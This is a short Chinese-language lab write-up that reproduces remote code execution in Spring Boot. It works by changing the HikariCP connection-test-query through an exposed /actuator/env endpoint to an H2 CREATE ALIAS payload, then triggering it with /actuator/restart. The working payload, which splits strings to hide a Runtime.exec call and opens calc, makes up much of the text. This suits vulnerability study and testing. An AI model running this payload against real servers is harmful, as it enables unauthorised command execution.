漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce
IDEA 打开配置一个 Spring Boot 程序即可
漏洞复现:
访问 /actuator/env
接口修改 spring.datasource.hikari.connection-test-query
属性为通过 CREATE ALIAS
创建的自定义函数
http://127.0.0.1:9096/actuator/env
application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
访问 /actuator/restart
接口重启 Spring Boot 程序,触发自定义函数执行
http://127.0.0.1:9096/actuator/restart
application/json
漏洞原理:
HikariCP 数据库连接池的 connectionTestQuery 属性配置作用是定义一个连接数据库前执行的 SQL 测试语句,通过访问 /actuator/env
接口修改 spring.datasource.hikari.connection-test-query
值,其实就是修改 connectionTestQuery 属性配置,再通过 /actuator/restart
接口重启Spring Boot程序,这时会重新连接数据库从而执行自定义 SQL 函数(只有这个SQL函数没有被执行过,重启 Spring Boot 程序的时候才会执行这个SQL函数,所以每执行一次命令就要把自定义函数的名字换一下)
Reference:
https://github.com/LandGrey/SpringBootVulExploit